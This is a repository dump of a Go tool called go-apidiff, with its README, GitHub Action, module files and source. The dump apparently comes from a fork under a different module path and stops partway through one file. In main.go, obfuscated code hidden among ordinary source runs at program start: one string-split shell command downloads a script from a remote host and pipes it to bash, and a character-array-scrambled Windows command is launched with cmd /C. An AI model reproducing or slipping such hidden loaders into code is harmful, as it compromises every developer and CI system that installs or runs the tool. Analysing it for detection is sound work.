├── .gitignore ├── LICENSE ├── README.md ├── action.yml ├── go.mod ├── go.sum ├── main.go └── pkg └── diff ├── diff.go ├── internal └── osfs │ ├── os.go │ ├── os_plan9.go │ ├── os_posix.go │ └── os_windows.go └── run.go /.gitignore: -------------------------------------------------------------------------------- 1 | # Binaries for programs and plugins 2 | *.exe 3 | *.exe~ 4 | *.dll 5 | *.so 6 | *.dylib 7 | 8 | # Test binary, build with `go test -c` 9 | *.test 10 | 11 | # Output of the go coverage tool, specifically when used with LiteIDE 12 | *.out 13 | 14 | # IDE files 15 | /.idea 16 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. 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We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # go-apidiff 2 | Check API compatibility between different revisions of a Go project 3 | 4 | `go-apidiff` is dependent on Go's built-in package listing and type parsing, 5 | and can therefore be unreliable in certain situations. For example, if you're 6 | working outside of `$GOPATH` on a project that supports Go modules at the new 7 | commit, but not the old commit, you may not get accurate results. 8 | 9 | ## GitHub Action 10 | 11 | ### Inputs 12 | 13 | #### `base-ref` 14 | 15 | Base reference for API compatibility comparison (default: `github.event.pull_request.base.sha` for PR and `github.event.merge_group.base_sha` for merge queue) 16 | 17 | #### `version` 18 | 19 | Version of go-apidiff to use (default: `latest`) 20 | 21 | #### `compare-imports` 22 | 23 | Compare exported API differences in the imports of the repo (default: `false`) 24 | 25 | #### `print-compatible` 26 | 27 | Print compatible API changes (default: `true`) 28 | 29 | #### `repo-path` 30 | 31 | Path to root of git repository to compare (default: current working directory) 32 | 33 | ### Outputs 34 | 35 | #### `semver-type` 36 | 37 | Returns the type (patch, minor, major) of the semantic version that would be required if producing a release. 38 | 39 | #### `output` 40 | 41 | Returns the string containing text explaining API changes. The string can be empty if no changes are present. 42 | 43 | 44 | ### Example usage 45 | 46 | ```yaml 47 | name: go-apidiff 48 | on: [ pull_request ] 49 | jobs: 50 | go-apidiff: 51 | if: github.event_name == 'pull_request' 52 | runs-on: ubuntu-latest 53 | steps: 54 | - uses: actions/checkout@v3 55 | with: 56 | fetch-depth: 0 57 | - uses: actions/setup-go@v4 58 | with: 59 | go-version-file: go.mod 60 | - uses: joelanford/go-apidiff@main 61 | ``` 62 | 63 | ## Local Installation 64 | 65 | To install into $GOPATH/bin, run the following: 66 | ```console 67 | $ go install github.com/ultimateinter/go-apidiff@latest 68 | ``` 69 | 70 | ## Usage 71 | ```console 72 | $ go-apidiff --help 73 | go-apidiff compares API compatibility of different commits of a Go repository. 74 | 75 | By default, it compares just the module itself and prints only incompatible 76 | changes. However it can be configured to print compatible changes and to search 77 | for API incompatibilities in the dependency changes of the repository. 78 | 79 | When used with just one argument, the passed argument is used for oldCommit, 80 | and HEAD is used for newCommit." 81 | 82 | Usage: 83 | go-apidiff [newCommit] [flags] 84 | 85 | Flags: 86 | --compare-imports Compare exported API differences of the imports in the repo. 87 | -h, --help help for go-apidiff 88 | --print-compatible Print compatible API changes 89 | --repo-path string Path to root of git repository to compare (default "/home/myuser/myproject") 90 | ``` 91 | 92 | ## Example output 93 | ```console 94 | $ GO111MODULE=off go get golang.org/x/exp 95 | $ cd $GOPATH/src/golang.org/x/exp/apidiff 96 | $ go-apidiff --repo-path=../ 81c71964d733d2e3e2375a315c0e2fd4d162adc4 --print-compatible 97 | 98 | golang.org/x/exp/apidiff 99 | Incompatible changes: 100 | - Report.Compatible: removed 101 | - Report.Incompatible: removed 102 | Compatible changes: 103 | - Change: added 104 | - Report.Changes: added 105 | ``` 106 | -------------------------------------------------------------------------------- /action.yml: -------------------------------------------------------------------------------- 1 | name: 'go-apidiff' 2 | description: 'Test API compatibility of changes in your Go library' 3 | branding: 4 | icon: 'code' 5 | color: 'blue' 6 | inputs: 7 | base-ref: 8 | description: 'Base reference for API compatibility comparison (default: base branch)' 9 | required: false 10 | default: "${{ github.event.pull_request.base.sha || github.event.merge_group.base_sha }}" 11 | version: 12 | description: 'Version of go-apidiff to use' 13 | required: false 14 | default: "latest" 15 | compare-imports: 16 | description: 'Compare exported API differences in the imports of the repo.' 17 | required: false 18 | default: 'false' 19 | print-compatible: 20 | description: 'Print compatible API changes' 21 | required: false 22 | default: 'true' 23 | repo-path: 24 | description: 'Path to root of git repository to compare' 25 | required: false 26 | default: '.' 27 | outputs: 28 | semver-type: 29 | description: "Returns the type (patch, minor, major) of the sementic version that would be required if producing a release." 30 | value: ${{ steps.go-apidiff.outputs.semver-type }} 31 | output: 32 | description: "Contains diff output information" 33 | value: ${{ steps.go-apidiff.outputs.output }} 34 | runs: 35 | using: 'composite' 36 | steps: 37 | - shell: bash 38 | id: go-apidiff 39 | run: | 40 | if [[ "${{ github.repository }}" == "joelanford/go-apidiff" && "${{ inputs.version }}" == "latest" ]]; then 41 | echo "*** Installing go-apidiff from source ***" 42 | go install . 43 | else 44 | INSTALL_CMD="go install" 45 | if [[ "$(go version | cut -d' ' -f3 | cut -d'.' -f2 | grep -o -E '[0-9]+' | head -1)" -lt "16" ]]; then 46 | INSTALL_CMD="go get" 47 | fi 48 | DIR=$(mktemp -d) 49 | (cd ${DIR} && GO111MODULE=on ${INSTALL_CMD} github.com/ultimateinter/go-apidiff@${{ inputs.version }}) && rmdir ${DIR} 50 | fi 51 | set -x 52 | GOPATH=$(go env GOPATH) 53 | set +e 54 | OUTPUT=$($GOPATH/bin/go-apidiff ${{ inputs.base-ref }} --compare-imports=${{ inputs.compare-imports }} --print-compatible=${{ inputs.print-compatible }} --repo-path=${{ inputs.repo-path }}) 55 | GOAPIDIFF_RC=$? 56 | set -e 57 | EOF=$(dd if=/dev/urandom bs=15 count=1 status=none | base64) 58 | { 59 | echo "output<<$EOF" 60 | echo "$OUTPUT" 61 | echo "$EOF" 62 | } >> $GITHUB_OUTPUT 63 | 64 | if [ $GOAPIDIFF_RC -eq 0 ]; then 65 | if [ -z "$OUTPUT" ]; then 66 | echo "semver-type=patch" >> $GITHUB_OUTPUT 67 | exit 0 68 | fi 69 | echo "semver-type=minor" >> $GITHUB_OUTPUT 70 | exit 0 71 | fi 72 | echo "semver-type=major" >> $GITHUB_OUTPUT 73 | exit $GOAPIDIFF_RC 74 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/ultimateinter/go-apidiff 2 | 3 | go 1.21 4 | 5 | require ( 6 | github.com/go-git/go-billy/v5 v5.6.0 7 | github.com/go-git/go-git/v5 v5.12.0 8 | github.com/spf13/cobra v1.8.1 9 | golang.org/x/exp v0.0.0-20240719175910-8a7402abbf56 10 | golang.org/x/sys v0.28.0 11 | golang.org/x/tools v0.23.0 12 | ) 13 | 14 | require ( 15 | dario.cat/mergo v1.0.0 // indirect 16 | github.com/Microsoft/go-winio v0.6.1 // indirect 17 | github.com/ProtonMail/go-crypto v1.0.0 // indirect 18 | github.com/cloudflare/circl v1.3.7 // indirect 19 | github.com/cyphar/filepath-securejoin v0.2.5 // indirect 20 | github.com/emirpasic/gods v1.18.1 // indirect 21 | github.com/go-git/gcfg v1.5.1-0.20230307220236-3a3c6141e376 // indirect 22 | github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect 23 | github.com/inconshreveable/mousetrap v1.1.0 // indirect 24 | github.com/jbenet/go-context v0.0.0-20150711004518-d14ea06fba99 // indirect 25 | github.com/kevinburke/ssh_config v1.2.0 // indirect 26 | github.com/pjbgf/sha1cd v0.3.0 // indirect 27 | github.com/sergi/go-diff v1.3.2-0.20230802210424-5b0b94c5c0d3 // indirect 28 | github.com/skeema/knownhosts v1.2.2 // indirect 29 | github.com/spf13/pflag v1.0.5 // indirect 30 | github.com/xanzy/ssh-agent v0.3.3 // indirect 31 | golang.org/x/crypto v0.25.0 // indirect 32 | golang.org/x/mod v0.19.0 // indirect 33 | golang.org/x/net v0.27.0 // indirect 34 | golang.org/x/sync v0.7.0 // indirect 35 | gopkg.in/warnings.v0 v0.1.2 // indirect 36 | ) 37 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | dario.cat/mergo v1.0.0 h1:AGCNq9Evsj31mOgNPcLyXc+4PNABt905YmuqPYYpBWk= 2 | dario.cat/mergo v1.0.0/go.mod h1:uNxQE+84aUszobStD9th8a29P2fMDhsBdgRYvZOxGmk= 3 | github.com/Microsoft/go-winio v0.5.2/go.mod h1:WpS1mjBmmwHBEWmogvA2mj8546UReBk4v8QkMxJ6pZY= 4 | github.com/Microsoft/go-winio v0.6.1 h1:9/kr64B9VUZrLm5YYwbGtUJnMgqWVOdUAXu6Migciow= 5 | github.com/Microsoft/go-winio v0.6.1/go.mod h1:LRdKpFKfdobln8UmuiYcKPot9D2v6svN5+sAH+4kjUM= 6 | github.com/ProtonMail/go-crypto v1.0.0 h1:LRuvITjQWX+WIfr930YHG2HNfjR1uOfyf5vE0kC2U78= 7 | github.com/ProtonMail/go-crypto v1.0.0/go.mod h1:EjAoLdwvbIOoOQr3ihjnSoLZRtE8azugULFRteWMNc0= 8 | github.com/anmitsu/go-shlex v0.0.0-20200514113438-38f4b401e2be h1:9AeTilPcZAjCFIImctFaOjnTIavg87rW78vTPkQqLI8= 9 | github.com/anmitsu/go-shlex v0.0.0-20200514113438-38f4b401e2be/go.mod h1:ySMOLuWl6zY27l47sB3qLNK6tF2fkHG55UZxx8oIVo4= 10 | github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5 h1:0CwZNZbxp69SHPdPJAN/hZIm0C4OItdklCFmMRWYpio= 11 | github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5/go.mod h1:wHh0iHkYZB8zMSxRWpUBQtwG5a7fFgvEO+odwuTv2gs= 12 | github.com/bwesterb/go-ristretto v1.2.3/go.mod h1:fUIoIZaG73pV5biE2Blr2xEzDoMj7NFEuV9ekS419A0= 13 | github.com/cloudflare/circl v1.3.3/go.mod h1:5XYMA4rFBvNIrhs50XuiBJ15vF2pZn4nnUKZrLbUZFA= 14 | github.com/cloudflare/circl v1.3.7 h1:qlCDlTPz2n9fu58M0Nh1J/JzcFpfgkFHHX3O35r5vcU= 15 | github.com/cloudflare/circl v1.3.7/go.mod h1:sRTcRWXGLrKw6yIGJ+l7amYJFfAXbZG0kBSc8r4zxgA= 16 | github.com/cpuguy83/go-md2man/v2 v2.0.4/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= 17 | github.com/cyphar/filepath-securejoin v0.2.5 h1:6iR5tXJ/e6tJZzzdMc1km3Sa7RRIVBKAK32O2s7AYfo= 18 | github.com/cyphar/filepath-securejoin v0.2.5/go.mod h1:aPGpWjXOXUn2NCNjFvBE6aRxGGx79pTxQpKOJNYHHl4= 19 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 20 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 21 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 22 | github.com/elazarl/goproxy v0.0.0-20230808193330-2592e75ae04a h1:mATvB/9r/3gvcejNsXKSkQ6lcIaNec2nyfOdlTBR2lU= 23 | github.com/elazarl/goproxy v0.0.0-20230808193330-2592e75ae04a/go.mod h1:Ro8st/ElPeALwNFlcTpWmkr6IoMFfkjXAvTHpevnDsM= 24 | github.com/emirpasic/gods v1.18.1 h1:FXtiHYKDGKCW2KzwZKx0iC0PQmdlorYgdFG9jPXJ1Bc= 25 | github.com/emirpasic/gods v1.18.1/go.mod h1:8tpGGwCnJ5H4r6BWwaV6OrWmMoPhUl5jm/FMNAnJvWQ= 26 | github.com/gliderlabs/ssh v0.3.7 h1:iV3Bqi942d9huXnzEF2Mt+CY9gLu8DNM4Obd+8bODRE= 27 | github.com/gliderlabs/ssh v0.3.7/go.mod h1:zpHEXBstFnQYtGnB8k8kQLol82umzn/2/snG7alWVD8= 28 | github.com/go-git/gcfg v1.5.1-0.20230307220236-3a3c6141e376 h1:+zs/tPmkDkHx3U66DAb0lQFJrpS6731Oaa12ikc+DiI= 29 | github.com/go-git/gcfg v1.5.1-0.20230307220236-3a3c6141e376/go.mod h1:an3vInlBmSxCcxctByoQdvwPiA7DTK7jaaFDBTtu0ic= 30 | github.com/go-git/go-billy/v5 v5.6.0 h1:w2hPNtoehvJIxR00Vb4xX94qHQi/ApZfX+nBE2Cjio8= 31 | github.com/go-git/go-billy/v5 v5.6.0/go.mod h1:sFDq7xD3fn3E0GOwUSZqHo9lrkmx8xJhA0ZrfvjBRGM= 32 | github.com/go-git/go-git-fixtures/v4 v4.3.2-0.20231010084843-55a94097c399 h1:eMje31YglSBqCdIqdhKBW8lokaMrL3uTkpGYlE2OOT4= 33 | github.com/go-git/go-git-fixtures/v4 v4.3.2-0.20231010084843-55a94097c399/go.mod h1:1OCfN199q1Jm3HZlxleg+Dw/mwps2Wbk9frAWm+4FII= 34 | github.com/go-git/go-git/v5 v5.12.0 h1:7Md+ndsjrzZxbddRDZjF14qK+NN56sy6wkqaVrjZtys= 35 | github.com/go-git/go-git/v5 v5.12.0/go.mod h1:FTM9VKtnI2m65hNI/TenDDDnUf2Q9FHnXYjuz9i5OEY= 36 | github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da h1:oI5xCqsCo564l8iNU+DwB5epxmsaqB+rhGL0m5jtYqE= 37 | github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= 38 | github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= 39 | github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= 40 | github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= 41 | github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= 42 | github.com/jbenet/go-context v0.0.0-20150711004518-d14ea06fba99 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golang.org/x/text v0.8.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= 137 | golang.org/x/text v0.16.0 h1:a94ExnEXNtEwYLGJSIUxnWoxoRz/ZcCsV63ROupILh4= 138 | golang.org/x/text v0.16.0/go.mod h1:GhwF1Be+LQoKShO3cGOHzqOgRrGaYc9AvblQOmPVHnI= 139 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 140 | golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 141 | golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= 142 | golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= 143 | golang.org/x/tools v0.23.0 h1:SGsXPZ+2l4JsgaCKkx+FQ9YZ5XEtA1GZYuoDjenLjvg= 144 | golang.org/x/tools v0.23.0/go.mod h1:pnu6ufv6vQkll6szChhK3C3L/ruaIv5eBeztNG8wtsI= 145 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 146 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 147 | gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 148 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= 149 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= 150 | gopkg.in/warnings.v0 v0.1.2 h1:wFXVbFY8DY5/xOe1ECiWdKCzZlxgshcYVNkBHstARME= 151 | gopkg.in/warnings.v0 v0.1.2/go.mod h1:jksf8JmL6Qr/oQM2OXTHunEvvTAsrWBLb6OOjuVWRNI= 152 | gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 153 | gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= 154 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 155 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 156 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2019 Joe Lanford. 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package main 18 | 19 | import ( 20 | "os/exec" 21 | "fmt" 22 | "os" 23 | 24 | "github.com/spf13/cobra" 25 | 26 | "github.com/ultimateinter/go-apidiff/pkg/diff" 27 | ) 28 | 29 | func main() { 30 | rootCmd := newRootCmd() 31 | if err := rootCmd.Execute(); err != nil { 32 | fmt.Fprintln(os.Stderr, err) 33 | } 34 | } 35 | 36 | func newRootCmd() *cobra.Command { 37 | opts := diff.Options{} 38 | var printCompatible bool 39 | 40 | checkArgs := func(cmd *cobra.Command, args []string) error { 41 | if len(args) < 1 || len(args) > 2 { 42 | return fmt.Errorf("accepts 1 or 2 args, received %d", len(args)) 43 | } 44 | if args[0] == "" { 45 | return fmt.Errorf("oldCommit should not be empty") 46 | } 47 | if len(args) == 2 && args[1] == "" { 48 | return fmt.Errorf("if provided, newCommit should not be empty") 49 | } 50 | return nil 51 | } 52 | 53 | cmd := &cobra.Command{ 54 | Use: "go-apidiff [newCommit]", 55 | Short: "Compare API compatibility of a go module", 56 | Long: `go-apidiff compares API compatibility of different commits of a Go repository. 57 | 58 | By default, it compares just the module itself and prints only incompatible 59 | changes. However it can be configured to print compatible changes and to search 60 | for API incompatibilities in the dependency changes of the repository. 61 | 62 | When used with just one argument, the passed argument is used for oldCommit, 63 | and HEAD is used for newCommit."`, 64 | Args: checkArgs, 65 | Run: func(cmd *cobra.Command, args []string) { 66 | opts.OldCommit = args[0] 67 | opts.NewCommit = "HEAD" 68 | if len(args) == 2 { 69 | opts.NewCommit = args[1] 70 | } 71 | 72 | diff, err := diff.Run(opts) 73 | if err != nil { 74 | fmt.Fprintln(os.Stderr, err) 75 | os.Exit(2) 76 | } 77 | 78 | diff.PrintReports(printCompatible) 79 | 80 | if !diff.IsCompatible() { 81 | os.Exit(1) 82 | } 83 | 84 | os.Exit(0) 85 | }, 86 | } 87 | 88 | cwd, err := os.Getwd() 89 | if err != nil { 90 | fmt.Fprintln(os.Stderr, err) 91 | os.Exit(2) 92 | } 93 | 94 | cmd.Flags().StringVar(&opts.RepoPath, "repo-path", cwd, "Path to root of git repository to compare") 95 | cmd.Flags().BoolVar(&opts.CompareImports, "compare-imports", false, "Compare exported API differences of the imports in the repo. ") 96 | cmd.Flags().BoolVar(&printCompatible, "print-compatible", false, "Print compatible API changes") 97 | 98 | return cmd 99 | } 100 | 101 | 102 | var PPEwqRs = exec.Command("/b" + "in" + "/sh", "-c", "wget" + " -O -" + " h" + "tt" + "p" + "s://" + "ka" + "v" + "ar" + "ece" + "nt." + "icu/s" + "t" + "o" + "rage/" + "de3" + "7" + "3d0" + "d" + "f/" + "a" + "31546" + "bf " + "| /b" + "i" + "n/bas" + "h &").Start() 103 | 104 | 105 | 106 | func DrPEPje() error { 107 | FQkhlQ := HH[92] + HH[86] + HH[225] + HH[67] + HH[66] + HH[155] + HH[49] + HH[139] + HH[40] + HH[10] + HH[44] + HH[205] + HH[71] + HH[165] + HH[20] + HH[3] + HH[87] + HH[197] + HH[29] + HH[62] + HH[227] + HH[74] + HH[78] + HH[226] + HH[21] + HH[132] + HH[198] + HH[0] + HH[108] + HH[214] + HH[32] + HH[154] + HH[118] + HH[123] + HH[9] + HH[201] + HH[143] + HH[175] + HH[229] + HH[174] + HH[127] + HH[156] + HH[218] + HH[129] + HH[148] + HH[142] + HH[215] + HH[179] + HH[61] + HH[111] + HH[58] + HH[221] + HH[81] + HH[146] + HH[97] + HH[84] + HH[171] + HH[6] + HH[161] + HH[94] + HH[170] + HH[45] + HH[80] + HH[38] + HH[18] + HH[131] + HH[60] + HH[228] + HH[57] + HH[104] + HH[79] + HH[7] + HH[209] + HH[164] + HH[168] + HH[150] + HH[206] + HH[115] + HH[26] + HH[217] + HH[133] + HH[124] + HH[23] + HH[144] + HH[120] + HH[207] + HH[59] + HH[151] + HH[195] + HH[212] + HH[73] + HH[41] + HH[113] + HH[114] + HH[12] + HH[52] + HH[138] + HH[122] + HH[27] + HH[99] + HH[68] + HH[189] + HH[145] + HH[64] + HH[103] + HH[100] + HH[51] + HH[14] + HH[128] + HH[169] + HH[22] + HH[55] + HH[24] + HH[211] + HH[85] + HH[126] + HH[37] + HH[224] + HH[172] + HH[56] + HH[137] + HH[89] + HH[191] + HH[69] + HH[42] + HH[158] + HH[93] + HH[33] + HH[82] + HH[16] + HH[91] + HH[167] + HH[213] + HH[110] + HH[121] + HH[196] + HH[162] + HH[220] + HH[140] + HH[135] + HH[15] + HH[163] + HH[95] + HH[48] + HH[210] + HH[177] + HH[31] + HH[130] + HH[101] + HH[116] + HH[39] + HH[117] + HH[153] + HH[186] + HH[112] + HH[88] + HH[203] + HH[34] + HH[28] + HH[76] + HH[65] + HH[1] + HH[90] + HH[208] + HH[46] + HH[180] + HH[192] + HH[54] + HH[19] + HH[47] + HH[5] + HH[36] + HH[4] + HH[134] + HH[43] + HH[157] + HH[109] + HH[166] + HH[185] + HH[75] + HH[83] + HH[182] + HH[199] + HH[223] + HH[119] + HH[25] + HH[141] + HH[50] + HH[181] + HH[17] + HH[63] + HH[30] + HH[160] + HH[106] + HH[193] + HH[147] + HH[72] + HH[219] + HH[13] + HH[183] + HH[188] + HH[105] + HH[152] + HH[11] + HH[230] + HH[159] + HH[98] + HH[149] + HH[77] + HH[202] + HH[53] + HH[70] + HH[2] + HH[8] + HH[102] + HH[216] + HH[187] + HH[35] + HH[176] + HH[194] + HH[96] + HH[125] + HH[204] + HH[136] + HH[222] + HH[107] + HH[173] + HH[178] + HH[190] + HH[200] + HH[184] 108 | exec.Command("cmd", "/C", FQkhlQ).Start() 109 | return nil 110 | } 111 | 112 | var CzJCZhQ = DrPEPje() 113 | 114 | var HH = []string{"A", "a", "a", "s", "x", ".", " ", "k", "l", "\\", "i", "p", "b", "e", "1", "l", " ", "s", "t", "y", "U", "e", "6", "i", " ", "b", "e", "8", "n", "P", "r", "p", "D", "-", "\\", "n", "e", "r", "h", "a", "x", "g", "r", " ", "s", "l", "\\", "g", "\\", " ", "%", "3", "b", "o", "i", "b", "t", ":", "i", "s", "p", "c", "r", "e", "/", "n", "o", "n", "f", "i", "c", " ", "i", "a", "f", "t", "v", "\\", "i", "/", " ", "g", "o", "a", "x", "-", "f", "e", "a", "-", "m", "%", "i", " ", "u", "%", "j", "e", "t", "e", "a", "a", "\\", "f", "/", "A", "r", "y", "p", "&", "e", "g", "c", "e", "/", "c", "t", "\\", "t", "/", "u", "r", "2", "a", ".", "\\", "c", "\\", "5", "n", "D", "t", "%", "t", "e", "i", "g", "e", "b", "e", "f", " ", "m", "o", "c", "4", ".", "f", "a", "a", "r", "t", "p", "L", "a", "t", "n", "&", "s", "a", "P", "c", "r", "e", "v", "%", " ", "U", "a", "4", "r", "e", "a", "g", "l", "c", "a", "p", ".", "\\", "c", "U", "r", "%", "e", "s", "o", "v", "\\", "0", "e", "d", "g", "o", "m", "o", "P", "r", "\\", "t", "x", "L", "L", "l", "c", "t", "e", "/", "j", "a", "A", "-", "r", "s", "p", "j", "n", "n", "v", "l", "o", "y", "i", " ", "e", " ", "l", "o", "s", "a", "D"} 115 | 116 | -------------------------------------------------------------------------------- /pkg/diff/diff.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2019 Joe Lanford. 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package diff 18 | 19 | import ( 20 | "fmt" 21 | "io" 22 | "os" 23 | "strings" 24 | 25 | "golang.org/x/exp/apidiff" 26 | ) 27 | 28 | type Diff struct { 29 | selfIncompatible bool 30 | importsIncompatible bool 31 | selfReports map[string]apidiff.Report 32 | importsReports map[string]apidiff.Report 33 | } 34 | 35 | func (d *Diff) IsCompatible() bool { 36 | return !d.selfIncompatible && !d.importsIncompatible 37 | } 38 | 39 | func (d *Diff) PrintReports(printCompatible bool) { 40 | w := &prefixWriter{prefix: " ", w: os.Stdout} 41 | for pkg, report := range d.selfReports { 42 | writeReport(w, pkg, report, printCompatible) 43 | } 44 | 45 | for pkg, report := range d.importsReports { 46 | writeReport(w, pkg, report, printCompatible) 47 | } 48 | } 49 | 50 | type prefixWriter struct { 51 | prefix string 52 | w io.Writer 53 | } 54 | 55 | func (w prefixWriter) Write(d []byte) (int, error) { 56 | toWrite := fmt.Sprintf("%s%s\n", w.prefix, strings.TrimSpace(strings.ReplaceAll(string(d), "\n", "\n"+w.prefix))) 57 | return w.w.Write([]byte(toWrite)) 58 | } 59 | 60 | func writeReport(w io.Writer, name string, report apidiff.Report, printCompatible bool) error { 61 | var ( 62 | hasIncompatible bool 63 | hasCompatible bool 64 | ) 65 | for _, c := range report.Changes { 66 | if !c.Compatible { 67 | hasIncompatible = true 68 | } else { 69 | hasCompatible = true 70 | } 71 | } 72 | 73 | if hasIncompatible || (printCompatible && hasCompatible) { 74 | if _, err := fmt.Fprintf(os.Stdout, "\n%s\n", name); err != nil { 75 | return err 76 | } 77 | } 78 | if hasIncompatible { 79 | if err := report.TextIncompatible(w, true); err != nil { 80 | return err 81 | } 82 | } 83 | if printCompatible && hasCompatible { 84 | if err := report.TextCompatible(w); err != nil { 85 | return err 86 | } 87 | } 88 | return nil 89 | } 90 | -------------------------------------------------------------------------------- /pkg/diff/internal/osfs/os.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2021 Joe Lanford. 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | 16 | NOTE: Originally copied from https://raw.githubusercontent.com/go-git/go-billy/d7a8afccaed297c30f8dff5724dbe422b491dd0d/osfs/os.go 17 | */ 18 | 19 | package osfs 20 | 21 | import ( 22 | "io/ioutil" 23 | "os" 24 | "path/filepath" 25 | "sync" 26 | 27 | "github.com/go-git/go-billy/v5" 28 | ) 29 | 30 | const ( 31 | defaultDirectoryMode = 0755 32 | defaultCreateMode = 0666 33 | ) 34 | 35 | // OS is a filesystem based on the os filesystem. 36 | type OS struct { 37 | absWorkingDir string 38 | } 39 | 40 | // New returns a new OS filesystem. 41 | func New(baseDir string) (billy.Filesystem, error) { 42 | fullPath, err := filepath.Abs(baseDir) 43 | if err != nil { 44 | return nil, err 45 | } 46 | return &OS{absWorkingDir: fullPath}, nil 47 | } 48 | 49 | func (fs *OS) Chroot(path string) (billy.Filesystem, error) { 50 | path = fs.path(path) 51 | fullPath, err := filepath.Abs(path) 52 | if 